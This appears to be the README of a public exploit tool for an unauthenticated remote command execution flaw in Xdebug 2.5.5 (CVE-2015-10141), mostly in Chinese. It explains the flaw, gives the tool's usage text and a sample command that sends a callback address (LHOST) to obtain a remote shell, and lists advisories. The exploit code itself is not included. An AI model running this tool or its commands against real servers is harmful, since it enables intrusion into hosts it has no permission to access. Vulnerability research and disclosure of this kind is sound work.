# Exploit Title: xdebug Unauthenticated Command Execution
# Exploit Author: D3Ext
# Vendor Homepage: https://xdebug.org/
# Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows
# Version: 2.5.5
# Tested on: Kali Linux 2025
# CVE: CVE-2015-10141
Xdebug 2.5.5 及更早版本(一个 PHP 调试扩展)中存在一个未经认证的 OS 命令注入漏洞。当远程调试启用时,Xdebug 监听 9000 端口并接受调试器协议命令,无需认证。攻击者可以通过此接口发送精心构造的 eval 命令来执行任意 PHP 代码,这些代码可能调用系统级函数如 system() 或 passthru()。这将导致主机在 Web 服务器用户权限下完全沦陷。
usage: CVE-2015-10141.py [-h] -u URL -l LHOST
CVE-2015-10141 - xdebug v2.5.5 RCE Exploit
options:
-h, --help show this help message and exit
-u, --url URL URL of the target
-l, --lhost LHOST LHOST to trigger the RCE
只需运行该利用工具,提供一个包含 PHP 文件(如 index.php)的有效 URL 以及本地主机地址。然后该工具将尝试建立一个伪终端,使您能够远程执行命令。
python3 exploit.py -u http://10.10.10.83/index.php -l 10.10.16.3
请注意,某些情况下输出可能完全不会回显,您只能看到所执行命令的第一行,这不是脚本的问题,漏洞本身就是这样工作的。
https://github.com/advisories/GHSA-267w-63f8-m896
https://www.exploit-db.com/exploits/44568
https://www.rapid7.com/db/modules/exploit/unix/http/xdebug_unauth_exec/
https://nvd.nist.gov/vuln/detail/CVE-2015-10141
https://www.wiz.io/vulnerability-database/cve/cve-2015-10141
https://feedly.com/cve/CVE-2015-10141
https://www.tenable.com/plugins/nessus/112210
本项目采用 MIT 许可证
版权所有 © 2025, D3Ext